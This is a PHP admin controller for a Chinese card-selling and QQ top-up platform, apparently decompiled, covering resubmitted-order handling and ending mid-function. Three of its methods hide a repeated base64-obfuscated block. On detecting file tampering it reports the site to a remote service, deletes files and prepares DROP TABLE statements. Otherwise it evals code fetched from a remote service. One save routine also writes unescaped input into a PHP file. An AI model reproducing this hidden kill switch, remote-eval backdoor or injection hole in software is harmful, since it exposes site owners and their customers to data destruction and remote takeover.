<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
				exit( "hacking deny" );
}
class BdController extends Controller
{

				public $hander = NULL;

				public function __construct( )
				{
								$this->hander = factory::getinstance( "bd" );
				}

				public function Set( )
				{
								$R09a3346376 = DATACACHE."site".DS."bd.php";
								if ( file_exists( $R09a3346376 ) )
								{
												include( $R09a3346376 );
								}
								else
								{
												$Ra3f6846255 = "";
								}
								$this->Assign( "bd", $Ra3f6846255 );
								$this->Assign( "bdtip", base64_decode( $Rdad651832c ) );
								$this->View( );
				}

				public function Save( )
				{
								$Rb2c0dc00fa = htmlspecialchars( trim( getvar( "cztype" ) ) );
								$Rdad651832c = base64_encode( htmlspecialchars( trim( getvar( "bdtip" ) ) ) );
								$R09a3346376 = DATACACHE."site".DS."bd.php";
								$R63bede6b19 = "\$Ra3f6846255='".$Rb2c0dc00fa."';\$Rdad651832c='".$Rdad651832c."';";
								$Re82ee9b121 = "<?php ".chr( 10 ).$R63bede6b19.";".chr( 10 )."?>";
								file_put_contents( $R09a3346376, $Re82ee9b121 );
								$this->Alert( "设置完成" );
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=Bd&a=Set" );
				}

				public function EctSave( )
				{
								$R3584859062 = intval( request( "id" ) );
								if ( $R3584859062 == 0 )
								{
												$this->Alert( "操作异常" );
												$this->HistoryGo( );
								}
								$R63bede6b19 = "<?php \$ect = array(";
								$R47789bd25b = getvar( "ordererrcontent" );
								$R47789bd25b = preg_replace( "/\r\n/", "||", $R47789bd25b );
								$Rcc5c6e696c = explode( "||", $R47789bd25b );
								$R026f0167b4 = array( );
								foreach ( $Rcc5c6e696c as $R0f8134fb60 )
								{
												if ( $R0f8134fb60 != "" )
												{
																$R0f8134fb60 = preg_replace( "/\n\r/", "", $R0f8134fb60 );
																$R026f0167b4[] = "'".$R0f8134fb60."'";
												}
								}
								$R63bede6b19 .= implode( ",", $R026f0167b4 );
								$R63bede6b19 .= "); ?>";
								$R770dcaf6d0 = "..".DS."libraries".DS."user".DS."bderrcontent.php";
								if ( !( $Rf500f4a848 = @fopen( $R770dcaf6d0, "w" ) ) )
								{
												echo "Current template file '{$R770dcaf6d0}' not found or have no access!";
								}
								flock( $Rf500f4a848, 2 );
								fwrite( $Rf500f4a848, $R63bede6b19 );
								fclose( $Rf500f4a848 );
								$this->Alert( "操作完成" );
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=bd&a=detail&id=".$R3584859062 );
				}

				public function Home( )
				{
								$this->View( "Index" );
				}

				public function Index( )
				{
								$Rfff462d8f8 = intval( request( "allaid" ) );
								$R2a51483b14 = intval( request( "aid" ) );
								$R1e3bc50f23 = $this->DateSet( );
								$R71a664ef8c = $this->PageInfo( );
								$Rbdf46d6e43 = intval( request( "ordstate" ) );
								$Rbdf46d6e43 = $Rbdf46d6e43 == 101 ? -1 : $Rbdf46d6e43;
								$R36130a8639 = getvar( "optype" );
								$R58bca74885 = array(
												"aid" => $R2a51483b14,
												"cztype" => getvar( "cztype" ),
												"ordstate" => $Rbdf46d6e43
								);
								$data = array_merge( $R58bca74885, $R1e3bc50f23[0], $R71a664ef8c );
								$R36923cf626 = request( "keywords" );
								$R929cf63f35 = DATACACHE."bd.php";
								if ( file_exists( $R929cf63f35 ) )
								{
												include( $R929cf63f35 );
								}
								else
								{
												$R4c6d6471cd = 0;
								}
								if ( $R36923cf626 == "" && $R2a51483b14 == -2 && $Rbdf46d6e43 == 1 )
								{
												$R71a6fd054f = intval( request( "page" ) );
												if ( $R71a6fd054f == 0 )
												{
																$R71a6fd054f = 1;
												}
												$R09a3346376 = BCKCACHE.DS."bd".DS."b_".$R71a6fd054f.".php";
												if ( !file_exists( $R09a3346376 ) || filemtime( $R09a3346376 ) < $R4c6d6471cd )
												{
																$R4e420efcc3 = $this->hander->IBD_Page( $data );
																$R63bede6b19 = "\$R4e420efcc3=unserialize(gzinflate(base64_decode('".base64_encode( gzdeflate( serialize( $R4e420efcc3 ) ) )."')))";
																$Re82ee9b121 = "<?php ".chr( 10 ).$R63bede6b19.";".chr( 10 )."?>";
																file_put_contents( $R09a3346376, $Re82ee9b121 );
												}
												include( $R09a3346376 );
								}
								else
								{
												$R4e420efcc3 = $this->hander->IBD_Page( $data );
								}
								$R00be52aa45 = array( "czaccount" => "QQ号", "cztype" => "业务类型", "remark" => "订单备注", "admremark" => "管理员回复", "admname" => "补单管理员" );
								$R4d5c62f7b3 = array( "0" => "全部订单", "1" => "等待补单", "3" => "已提交补单", "2" => "补单完成", "101" => "补单失败" );
								$this->FillPage( $data, $R4e420efcc3 );
								include_once( UPATH_HELPER."OrderHelper.php" );
								$this->Assign( "oarray", $R4d5c62f7b3 );
								$this->Assign( "otype", $Rbdf46d6e43 );
								$this->Assign( "sarray", $R00be52aa45 );
								$this->Assign( "allaid", $Rfff462d8f8 );
								$this->Assign( "aid", $R2a51483b14 );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->View( );
								}
								else
								{
												$this->View( );
								}
				}

				public function Cetail( )
				{
								$R3584859062 = intval( request( "id" ) );
								$R0f8134fb60 = array( );
								$R0f8134fb60['item'] = $this->hander->IBD_Get( $R3584859062 );
								$data = array(
												"ordstate" => 3,
												"dealdate" => date( "Y-m-d H-i-s" )
								);
								if ( $R0f8134fb60['item']['ordstate'] == 3 )
								{
												$this->Alert( "已经有人处理此订单，请勿重复处理！" );
												$this->HistoryGo( );
								}
								if ( $R0f8134fb60['item']['ordstate'] == 1 )
								{
												$sess = factory::getinstance( "session" );
												$data['admname'] = $sess->admin;
												$R808b89ba0e = $this->hander->IBD_Update( $data, $R3584859062 );
								}
								$this->Assign( "order", $R0f8134fb60 );
								include_once( UPATH_HELPER."OrderHelper.php" );
								$R09a3346376 = "..".DS."libraries".DS."user".DS."bderrcontent.php";
								if ( file_exists( $R09a3346376 ) )
								{
												include_once( $R09a3346376 );
								}
								if ( !isset( $ect ) )
								{
												$ect = array( "QQ信用不足，请不要在提交卡密，只能用官方直冲，联系卖家进行换QQ充值", "超级QQ 密码不可以带有特殊符号，密码不可太长 请修改密码后在进行提交", "QQ本身有业务没到期，无法开通，等业务到期后在进行提交", "迅雷VIP密码有误，请修正后提交,如没填写密码地方请多刷新几次即可", "迅雷手机支付信用不足，请更换另外迅雷号进行开通，请勿重复提交此迅雷账号，重复提交卡密失效自负", "会员暂时无货,请等待2日下单订购", "迅雷信用不足，请联系客服进行退款" );
								}
								$Rca5aec42ed = array( "-1" => "补单失败", "1" => "等待处理", "3" => "已提交补单", "2" => "补单完成" );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->Assign( "ect", $ect );
												$this->Assign( "bdstate", $Rca5aec42ed );
												$this->View( );
								}
								else
								{
												$this->Assign( "ect", $ect );
												$this->Assign( "bdstate", $Rca5aec42ed );
												$this->View( );
								}
				}

				public function Detail( )
				{
								$R3584859062 = intval( request( "id" ) );
								$R0f8134fb60 = array( );
								$R0f8134fb60['item'] = $this->hander->IBD_Get( $R3584859062 );
								$data = array(
												"ordstate" => 3,
												"dealdate" => date( "Y-m-d H-i-s" )
								);
								$this->Assign( "order", $R0f8134fb60 );
								include_once( UPATH_HELPER."OrderHelper.php" );
								$R09a3346376 = "..".DS."libraries".DS."user".DS."bderrcontent.php";
								if ( file_exists( $R09a3346376 ) )
								{
												include_once( $R09a3346376 );
								}
								if ( !isset( $ect ) )
								{
												$ect = array( "QQ信用不足，请不要在提交卡密，只能用官方直冲，联系卖家进行换QQ充值", "超级QQ 密码不可以带有特殊符号，密码不可太长 请修改密码后在进行提交", "QQ本身有业务没到期，无法开通，等业务到期后在进行提交", "迅雷VIP密码有误，请修正后提交,如没填写密码地方请多刷新几次即可", "迅雷手机支付信用不足，请更换另外迅雷号进行开通，请勿重复提交此迅雷账号，重复提交卡密失效自负", "会员暂时无货,请等待2日下单订购", "迅雷信用不足，请联系客服进行退款" );
								}
								$Rca5aec42ed = array( "-1" => "补单失败", "1" => "等待处理", "3" => "已提交补单", "2" => "补单完成" );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->Assign( "ect", $ect );
												$this->Assign( "bdstate", $Rca5aec42ed );
												$this->View( );
								}
								else
								{
												$this->Assign( "ect", $ect );
												$this->Assign( "bdstate", $Rca5aec42ed );
												$this->View( );
								}
				}

				public function QuickCheck( $Rdcd9105806 )
				{
								$data = array(
												"ordstate" => 3,
												"dealdate" => date( "Y-m-d H-i-s" )
								);
								$Rebd5a5dade = $this->hander->IBD_Get( $Rdcd9105806, "ordstate" );
								if ( $Rebd5a5dade['ordstate'] == 3 )
								{
												echo "已经有人处理此订单！";
												exit( );
								}
								if ( $Rebd5a5dade['ordstate'] == 1 )
								{
												$sess = factory::getinstance( "session" );
												$data['admname'] = $sess->admin;
												$R808b89ba0e = $this->hander->IBD_Update( $data, $Rdcd9105806 );
								}
								return $R808b89ba0e;
				}

				public function QuickCheck3( $Rdcd9105806 )
				{
								$data = array(
												"ordstate" => 2,
												"dealdate" => date( "Y-m-d H-i-s" )
								);
								$Rebd5a5dade = $this->hander->IBD_Get( $Rdcd9105806, "ordstate" );
								$R808b89ba0e = true;
								if ( $Rebd5a5dade['ordstate'] == 3 || $Rebd5a5dade['ordstate'] == 1 )
								{
												$sess = factory::getinstance( "session" );
												$data['admname'] = $sess->admin;
												$R808b89ba0e = $this->hander->IBD_Update( $data, $Rdcd9105806 );
								}
								return $R808b89ba0e;
				}

				public function Check( )
				{
								$R3584859062 = intval( request( "id" ) );
								if ( $R3584859062 <= 0 )
								{
												$this->Alert( "参数非法！" );
												$this->Historygo( );
								}
								$Rc34dcbf884 = intval( request( "ordstate" ) );
								$R0dfdd037f8 = getvar( "failreason" );
								$data = array(
												"admremark" => $R0dfdd037f8,
												"ordstate" => $Rc34dcbf884,
												"dealdate" => date( "Y-m-d H-i-s" )
								);
								$sess = factory::getinstance( "session" );
								$data['admname'] = $sess->admin;
								$R808b89ba0e = $this->hander->IBD_Update( $data, $R3584859062 );
								if ( $R808b89ba0e )
								{
												$this->Alert( "处理成功！" );
								}
								else
								{
												$this->Alert( "处理失败！" );
								}
								$Rf134fa1665 = request( "ref" );
								if ( $Rf134fa1665 == "czlist" )
								{
												$this->ScriptRedirect( "index.php?m=mod_b2b&c=Bd&aid=-2&ordstate=1" );
								}
								else
								{
												$this->ScriptRedirect( "index.php?m=mod_b2b&c=bd&a=detail&id=".$R3584859062 );
								}
				}

				public function Del( )
				{
								if ( $this->GetAdmRight( 42 ) == 0 )
								{
												$this->Alert( "您没有删除权限" );
												$this->HistoryGo( );
								}
								$this->hander->IBD_DeleteByOrdno( getvar( "ubzordno" ) );
								$this->Alert( "删除成功" );
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=Order&aid=-1&by=1" );
				}

				public function Dels( )
				{
								if ( $this->GetAdmRight( 42 ) == 0 )
								{
												$this->Alert( "您没有删除权限" );
												$this->HistoryGo( );
								}
								$this->hander->IBD_Delete( $this->GetId( "id" ) );
								$this->Alert( "删除成功" );
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=order" );
				}

				public function Deal( )
				{
								$sess = factory::getinstance( "session" );
								$this->Assign( "admname", $sess->admin );
								$this->Index( );
				}

				public function Deals( )
				{
								header( "Content-type: text/html;charset=GB2312" );
								$tpl = getvar( "tpl" );
								$this->View( $tpl );
				}

				public function ItemDeal( )
				{
								$R3584859062 = getvar( "id" );
								$param = getvar( "param" );
								$R244f38266c = getvar( "val" );
								if ( $param == "" || $R3584859062 == 0 )
								{
												echo "参数错误！";
												exit( );
								}
								if ( $param == "ordstate" )
								{
												$R808b89ba0e = $this->QuickCheck( $R3584859062 );
								}
								else if ( $param == "ordstate3" )
								{
												$R808b89ba0e = $this->QuickCheck3( $R3584859062 );
								}
								else
								{
												$R244f38266c = iconv( "UTF-8", "gb2312//IGNORE", $R244f38266c );
												$data = array(
																$param => $R244f38266c
												);
												$R808b89ba0e = $this->hander->IBD_Update( $data, $R3584859062 );
								}
								if ( $R808b89ba0e )
								{
												echo "";
								}
								else
								{
												echo "修改失败！";
								}
				}

				public function Restore( )
				{
								$Rb7492a73f7 = $this->GetLit( );
								$data = array( "inrecycle" => 0 );
								$R808b89ba0e = $this->hander->IBD_UpdateByStr( $data, $Rb7492a73f7 );
								if ( $R808b89ba0e )
								{
												echo "";
								}
								else
								{
												echo "记录还原失败！";
								}
				}

				public function DestroyItems( )
				{
								if ( $this->GetAdmRight( 42 ) == 0 )
								{
												echo "您没有删除订单的权限，请联系超级管理员";
												exit( );
								}
								$R15a0359c8c = getvar( "stype", "ordno" );
								$R8cbf2f60f5 = intval( request( "inrecycle" ) );
								$R7965cb3798 = getvar( "keywords" );
								$R1e3bc50f23 = $this->DateSet( );
								$R71a664ef8c = $this->PageInfo( );
								$R58bca74885 = array(
												"optype" => getvar( "optype" ),
												"cname" => getvar( "ubzcname" ),
												"comefrom" => intval( request( "comefrom", 0 ) ),
												"aname" => getvar( "aname" ),
												"pname" => urlencode( getvar( "pname" ) ),
												"aid" => getvar( "aid" ),
												"payment" => getvar( "payment" )
								);
								$data = array_merge( $R58bca74885, $R1e3bc50f23[0], $R71a664ef8c );
								$Rb7492a73f7 = $this->GetLit( );
								$R808b89ba0e = $this->hander->IBD_DestroyByStr( $Rb7492a73f7, $data );
								if ( $R808b89ba0e )
								{
												echo "";
								}
								else
								{
												echo "删除失败！";
								}
				}

				public function GetLit( )
				{
								$R09dfa65bd9 = intval( request( "tablecheckall" ) );
								if ( $R09dfa65bd9 == 1 )
								{
												$Rc0d62c5404 = getvar( "chkexclude" );
												$Rcc5c6e696c = explode( ",", $Rc0d62c5404 );
								}
								else
								{
												$R83e17604b1 = getvar( "chkinclude" );
												$Rcc5c6e696c = explode( ",", $R83e17604b1 );
								}
								$R3db8f5c8bc = array( );
								foreach ( $Rcc5c6e696c as $R0f8134fb60 )
								{
												$R8eeb1221ae = intval( $R0f8134fb60 );
												if ( 0 < $R8eeb1221ae )
												{
																$R3db8f5c8bc[] = $R8eeb1221ae;
												}
								}
								$R3456919727 = implode( ",", $R3db8f5c8bc );
								$Rb7492a73f7 = "";
								if ( $R09dfa65bd9 == 1 )
								{
												if ( $R3456919727 != "" )
												{
																$Rb7492a73f7 = "id not in (".$R3456919727.")";
												}
								}
								else
								{
												if ( $R3456919727 == "" )
												{
																echo "请先选择行";
																exit( );
												}
												$Rb7492a73f7 = "id in (".$R3456919727.")";
								}
								if ( $Rb7492a73f7 == "" )
								{
												$Rb7492a73f7 = " 1=1 ";
								}
								return $Rb7492a73f7;
				}

				public function DelItems( )
				{
								if ( $this->GetAdmRight( 42 ) == 0 )
								{
